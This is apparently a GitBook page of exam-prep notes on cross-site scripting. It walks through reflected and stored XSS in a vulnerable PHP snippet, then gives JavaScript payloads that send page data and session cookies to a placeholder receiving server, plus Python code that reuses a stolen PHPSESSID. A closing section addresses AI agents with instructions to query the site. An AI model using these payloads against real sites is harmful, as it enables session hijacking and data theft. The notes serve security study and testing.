# XSS

## Reflected

### Vulnerable code

```php
<?php
        echo '<div><p>Searched string: ' . $_GET['search'] . '</p></div>';
?>
```

#### The injection

`http(s)://HOST/file.php?search=1`

#### Response

```markup
<div><p>Searched string: 1</p></div>
```

`http(s)://HOST/file.php?search=</p><script>alert()</script><p>`

#### Response

```markup
<div><p>Searched string: </p><script>alert()</script><p></p></div>
```

As you can see, the injected code gets inserted into the HTML response of the website.

`</p>` -> Closing current tag.\
`<script>` -> Opening javascript tag.\
`alert()` -> Function to pop an **alert box**.\
`</script>` -> Closing javascript tag.\
`<p>` -> Reopening `p` tag for the response not to mess up.

## Stored

In this injection, the code gets **stored** into a database (e.g. as a comment, name, description, etc) and then gets reflected when it is displayed.

## Data exfiltration

To **exfiltrate** data, a receiving server would be needed, like a HTPP server.

{% embed url="<https://gist.github.com/1kastner/e083f9e813c0464e6a2ec8910553e632>" %}
NGROK's substitute for tunXs and python's SimpleHTTPSever/http.server
{% endembed %}

### Exfiltrating basic data

```markup
<html>
<script>

first = new XMLHttpRequest();
first.open("POST", "YOUR-SERVER");
first.send("EXFILTRATED-DATA");

</script>
</html>
```

### Exfiltrating other endpoint's data

```markup
<html>
<script>

first = new XMLHttpRequest();
first.open("GET", "TARGET-SERVER");
first.onreadystatechange = function () {
        if (first.readyState === XMLHttpRequest.DONE) {
                second = new XMLHttpRequest();
                second.open("POST", "YOUR-SERVER");
                second.send("EXFILTRATED-DATA");
        }
}
first.send();

</script>
</html>

```

## Session Hijaking

In a nuthshell, stealing the (administrator|authenticated user) sesion cookie's value and using it.

### Exfiltrating the cookie

```markup
<html>
<script>

first = new XMLHttpRequest();
first.open("POST", "YOUR-SERVER");
first.send(document.cookie);

</script>
</html>
```

### Using the cookie

```python
import requests

url = ""
exfiltrated_cookie = ""
cookies = {'PHPSESSID': f"{exfiltrated_cookie}"} # Example

r = requests.get(url, cookies=cookies)
```

## Filter Bypass

{% embed url="<https://owasp.org/www-community/xss-filter-evasion-cheatsheet>" %}

{% embed url="<https://itasahobby.gitlab.io/posts/trustedclient/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jorgectf.gitbook.io/awae-oswe-preparation-resources/by-vulnerability/xss.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
